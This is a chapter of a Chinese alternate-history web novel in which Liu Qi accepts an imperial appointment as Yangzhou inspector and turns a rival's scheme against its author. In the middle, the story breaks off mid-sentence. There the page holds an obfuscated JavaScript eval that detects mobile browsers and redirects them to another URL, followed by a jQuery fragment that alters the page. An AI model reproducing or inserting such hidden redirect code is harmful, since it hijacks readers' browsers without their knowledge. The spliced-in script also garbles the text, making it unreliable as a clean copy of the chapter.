第94章 扬州刺史印?刘琦笑纳之!

作品:《开局截胡诸葛亮,皇叔对不住了!

    刘琮原本正暗自冷笑,想着兄长为了权势,竟娶了个丑妇,自己虽失了嗣位,将来在闺阁之乐上定要胜过兄长一筹。


    可当刘琮偷眼打量黄月英时,却不由得愣住了。


    但见这位嫂嫂虽具胡风,却别具殊色,高鼻深目间自有一段风流韵致,微卷的鬓发衬得肌肤愈发白皙,尤其那双眼眸,在灯下流转着琥珀色的光泽,竟是刘琮平生未见的风情。


    刘琮万万没想到,这位被他在心底讥讽为丑妇的嫂嫂,竟有这般让人惊心动魄的异域之美。


    而刘琮忆起往日总觉得胡女粗鄙,但此刻却觉这般风貌别有韵味。


    刘琮看着嫂嫂恭敬侍立的模样,一个荒唐的念头突然窜上心头,待他日有机会,定要寻几个这般风情的胡姬,好生领略一番异域滋味。


    而黄月英正执壶为刘表斟酒,纤指轻抬间,腕上一对玉镯叮咚作响。


    刘琮看得心头一热,慌忙低头饮酒,那酒液入喉,竟品出了几分酸涩。


    “新妇且坐。”


    刘表满意地摆手,转而看向刘琦,“伯瑜此番在江夏,于屯田之事可有所得?”


    刘琦正要答话,忽见门外侍卫匆匆入内,向刘表禀报道:“主公,许都使者董昭已至城外驿馆,言明日便要进城宣诏。”


    侍卫的话让席间顿时一静。


    刘表执箸的手微微一顿,眼中掠过一丝深思。


    良久,刘表缓缓放下牙箸,对侍卫摆了摆手:“知道了,且退下吧。”


    待侍卫退出,席间气氛才稍稍缓和,但先前那份家宴的温馨已然消散无踪。


    刘表目光扫过席间众人,最后落在刘琦身上:“许都此时遣使,倒是赶得巧。”


    刘表这话说得意味深长,在座的都是明白人,自然听出其中深意。


    蔡夫人捏着帕子的手紧了紧,刘琮则低头盯着面前的酒樽,不知在想些什么。


    刘表何等人物,岂会不知许都此时遣使的用意?


    官渡战事正酣,曹操这是要行驱虎吞狼之计,意图驱使荆州与江东继续缠斗。


    只是这计策未免来得太晚,江夏战事已定,这份厚礼反倒成了刘琦的贺礼了!


    随后又饮了几巡酒,刘表便以不胜酒力为由,由蔡夫人搀扶着先行离席。


    而众人见状,也纷纷告退。


    刘琦携黄月英回到那座偏僻旧院时,月已中天。


    院中那棵老槐树在夜风中沙沙作响,恍如数月前刘琦离开时的光景。


    “夫君觉得,许都此来所为何事?”黄月英替刘琦解下外袍,轻声问道。


    刘琦在窗前坐下,望着天边那轮明月,冷笑道:“曹操在官渡与袁绍相持,此时遣使,必然是以为我在还江夏与孙权打得不可开交,想来添把火,好让我与孙权继续缠斗,无暇顾他罢了!”


    黄月英在刘琦身侧坐下,指尖轻抚过刘琦掌心的薄茧:“如此说来就是驱虎吞狼之计罢了。只是不知,许都会给出什么价码?”


    “左右不过是个虚名。”刘琦目光渐深,“但既然送上门来,不要白不要。”


    说着刘琦唇角泛起一丝意味深长的笑意:“只是不知那董昭明日得知江夏战事已定,又会作何感想。”


    黄月英闻言也不禁莞尔:“想必会很意外。”


    与此同时,州牧府书房内,刘表并未就寝,而是独自对灯沉思。


    刘表案上摊着一卷江东舆图,手指轻点在江东庐江郡的位置上。


    “好一个驱虎吞狼......”


    刘表喃喃自语,眼中却并无怒色,反而带着几分赞许,“曹孟德倒是打得好算盘,只可惜......”


    刘表忽然咳嗽了几声,侍立在侧的管家连忙上前奉茶。


    刘表摆了摆手,目光依旧停留在舆图上。


    “伯瑜这孩子,运道着实不错。”刘表抚须轻叹,眼中闪过一丝精光。


    刘表历经宦海沉浮,何等老辣,曹操既要行这驱虎吞狼之计,必会许以重利引诱刘琦。


    而能让刘琦与孙权继续死斗的,除了扬州方面的官职,还能有什么?


    刘表忽然轻笑一声,带着几分玩味:“刚打完胜仗,许都就巴巴地送来名分,这等运气,倒是像极了当年光武帝逢凶化吉的际遇。”


    管家躬身道:“长公子确实洪福齐天。只是许都这般算计.....”。


    “算计?”


    刘表摆手打断,“这世上,谁不是在算计?重要的是,看谁更能在各方算计中把握时机。”


    而与此同时,襄阳城外的驿馆内,董昭正对灯阅览近日收集的荆州情报。


    因初来乍到,仓促间董昭能得到的多是月前旧闻。


    董昭手中几卷竹简上记载的,仍是刘琦水师进逼夏口、孙权据城坚守,战局对荆州军颇为有利战况。


    董昭放下竹简,指尖轻叩案几,“刘琦能将孙权压制在夏口城内,倒是有些出乎意料。”


    副使忧心道:“观此战报,孙权已是困守孤城。若他见势不妙,就此退兵.....”


    “哈!这正是我等来得恰是时候!”董昭唇角泛起一丝意味深长的笑意,“此时授予刘琦扬州刺史之职,恰逢其时。”


    董昭起身踱步至窗前,望着襄阳城的方向:“孙权若退,刘琦得了这名分,岂会甘心放任江东精锐安然离去?届时必然乘胜追击,战事自然延续。”


    董昭或者说荀彧的盘算,全然建立在月前战报之上。


    董昭哪里知道夏口战事早已分出胜负,此刻董昭奉荀彧之命精心设计的驱虎吞狼之计,对已经大获全胜,正要经略江东却苦无名分的刘琦而言,恰似久旱逢甘霖,正中下怀。


    副使仍有些疑虑:“可若是刘琦识破此计......”


    “识破又如何?”


    董昭轻笑,“这扬州刺史的印绶,刘表或者刘琦舍得推拒吗?司空这步棋,乃阳谋也!”


    董昭仔细将诏书收好,语气中带着运筹帷幄的自得:“明日宣诏,且看这位刘荆州如何应对。但愿他不要辜负了司空这番''美意''。”


    驿馆外,秋风卷起落叶,拍打着窗棂,董昭望着窗外沉沉的夜色,唇角始终带着一抹笃定的笑意。


    董昭奉荀彧之命前来施这驱虎吞狼之计,自以为将刘琦孙权皆**于股掌之间。


    翌日清晨,州牧府正堂。


    董昭手持诏书步入堂内,目光扫过肃立的荆州文武。


    见刘表身侧站着一位


    当董昭看到站在刘表身侧的刘琦时,但董昭并不识得刘琦,见其气度不凡只当是刘表次子刘琮,便朝刘表拱手道:“下官奉旨前来,原该亲赴江夏向长公子宣诏。但念及江夏战事正紧,便想请刘荆州代为转交。”


    但刘表却是抚须一笑,指向身旁的刘琦:“董侍中来得正巧,犬子伯瑜昨日刚回襄阳,你便当面宣诏罢。”


    董昭闻言一怔,难以置信地看向那位先前被自己误以为是刘表次子的年轻人:“这位便是江夏太守刘琦?”


    此刻的董昭心中警铃大作,暗叫不好,按照昨日收集的情况来说,刘琦此刻出现在襄阳,便意味着江夏战局恐怕早已生变。


    然而诏书已当众取出,众目睽睽之下,还能不宣读诏书吗?


    董昭此刻可谓是进退维谷,已是骑虎难下之势了。


    而这时刘琦从容上前一步,微微欠身:“江夏太守刘琦,恭聆诏命。”


    虽然不知道刘琦为什么不在江夏而在襄阳,但此刻董昭只能强压下心头翻涌的不安,勉强维持镇定。


    无奈之下,董昭只得硬着头皮继续宣读。


    “既如此......”董昭深吸一口气,展开诏书朗声宣读:“制诏:偏将军刘琦,克明俊德,允文允武......今特加授扬州刺史,假节,督扬州诸军事......”


    而董昭一边宣读,一边暗中观察刘琦。


    董昭原以为会看到刘琦喜形于色,却不料对方始终面色平静,仿佛这一切早在预料之中。


    刘琦这份镇定,让董昭心中的不安愈发强烈。


    待董昭诏书宣读完毕,刘琦从容接过,转身面对堂内文武,朗声道:“今蒙朝廷信重,授以扬州刺史。本官定当恪尽职守,使江东六郡重归王化,保境安民,以报皇恩!”


    而堂内荆州文武顿时响起一片激昂的恭贺之声。


    蒯良与韩嵩、伊籍等人相视而笑,皆从对方眼中看到庆幸之色,他们当初支持长公子,如今看来确是押对了宝。


    这份来自许都的"贺礼",虽说是驱虎吞狼之计,却恰恰成全了刘琦经略江东的大业。


    其中尤以蒯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803299|187382||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    良最为感慨,当初刘琦离襄阳时,军粮不继,向蒯良请求拨付粮草时,曾对他吐露匡扶汉室之志,不过那时蒯良只当是刘琦年轻人不知天高地厚的豪言壮语。


    谁曾想不过数月,刘琦这毫无根基的长公子竟真有了吞并江东的实力。


    武将队列中,文聘、王威等刘表嫡系将领也纷纷露出欣慰之色,他们虽不参与嗣位之争,但见主公选定的继承人如此英武,自然为荆州未来感到欣喜。


    而站在武将班列中的张允,此刻更是心潮澎湃。


    张允先前见蔡瑁得势,没少跟着挖苦这位表弟,如今见刘琦不仅得到主公明确支持,更获封扬州刺史,待日后舅父百年,届时这位表弟便是手握两州之地,带甲十余万,舟师千艘的一方雄主,


    而当初被蔡瑁等人嗤笑的匡扶汉室之志,如今看来也并非笑谈。


    到时就算最终不能成就大业,退守江南也是战国楚国的格局!


    张允连忙挤出最热情的笑容,朝着刘琦深深一揖,心中已打定主意要尽快改换门庭。


    董昭将这一切尽收眼底,心中更是苦涩,荀令君这番谋划非但没能消耗荆州实力,反倒让刘琦如虎添翼。


    而这时刘表适时起身,含笑对董昭道:“董侍中远来辛苦,今日便在府中设宴,也好让犬子略尽地主之谊。”


    董昭心下焦急如焚,恨不能立刻脱身去查探实情,哪还有心思饮宴。


    董昭当下便拱手推拒:“下官岂敢叨扰,还需尽快返京复命......”


    “诶——”


    刘琦已上前执住董昭的手臂,力道虽温和却不容拒绝,“董侍中宣诏之恩,琦尚未答谢。若就此离去,岂不令天下人笑我刘琦不知礼数?”


    董昭此刻可谓是如坐针毡,明明察觉到局势有异,却苦于无法脱身。


    眼见左右文武都围拢过来,个个笑脸相迎,董昭只得强压下心头焦躁,勉强挤出一丝笑容:“既然诸位盛情,下官...恭敬不如从命了。”


    而宴席之上,觥筹交错,董昭强颜欢笑,目光却不时瞥向谈笑自若的刘琦。


    但见这位江夏太守面色红润,神采奕奕,与左右荆州文武谈笑风生时顾盼自若,哪里有半分历经数月征战的憔悴模样?


    董昭可谓是越看越是心惊,按理说若是刚从战场归来,纵是得胜之师也该带着几分疲惫。


    可眼前这位长公子分明是养尊处优之态,倒像是从未经历过苦战。


    这让董昭不禁心生疑窦:莫非江夏战事另有蹊跷?还是说...这刘琦根本未曾亲临前线?


    而董昭自然不知,刘琦在江夏借助江北世家之力,粮草无忧,又以投石机等利器破敌,未经历惨烈攻城,自然不会有那等心神劳顿。


    加之新娶的娇妻黄月英在侧,又得了孙策遗孀大乔这等国色,夜夜醉卧美人膝,醒来只需处理些日常政务,日子过得颇为滋润,哪里会有征尘劳顿之态?


    董昭端着酒樽的手微微发紧,心中的不安愈发浓重。


    直到日影西斜,宴席方散。


    董昭匆匆返回驿馆,立即唤来副使:“速去打探江夏战况!要最新的消息!”


    次日黎明,副使急匆匆叩门而入,声音发颤:“董公,打听清楚了......江夏战事......早已结束。刘琦尽歼江东水师,生擒周瑜,孙权败走......”


    “什么?!”董昭手中的茶盏"啪"地落地,摔得粉碎。


    董昭踉跄后退,扶住案几才稳住身形。


    这一刻,董昭全都明白了,为何刘琦会出现在襄阳,为何接诏时那般镇定。


    荀令君苦心谋划的驱虎吞狼之计,本该消耗荆州实力的计谋,如今却成了滋养刘琦这头猛虎的助力。


    董昭颓然坐倒,苦笑道:“好一个刘伯瑜......好一个将计就计......”


    窗外,朝阳初升,将襄阳城染上一层金辉。


    董昭望着那轮旭日,心中一片冰凉。


    董昭仿佛已经看到,刘琦手持这份诏书,以扬州刺史之名,率领那数万精锐水陆并进,直取江东,而刘琦有兵有将,如今更得此名分,挥师东进江东六郡尽数易帜的场面。


    而孙权新君上位,加之新败元气大伤,江东六郡怕是难挡刘琦这般兵锋。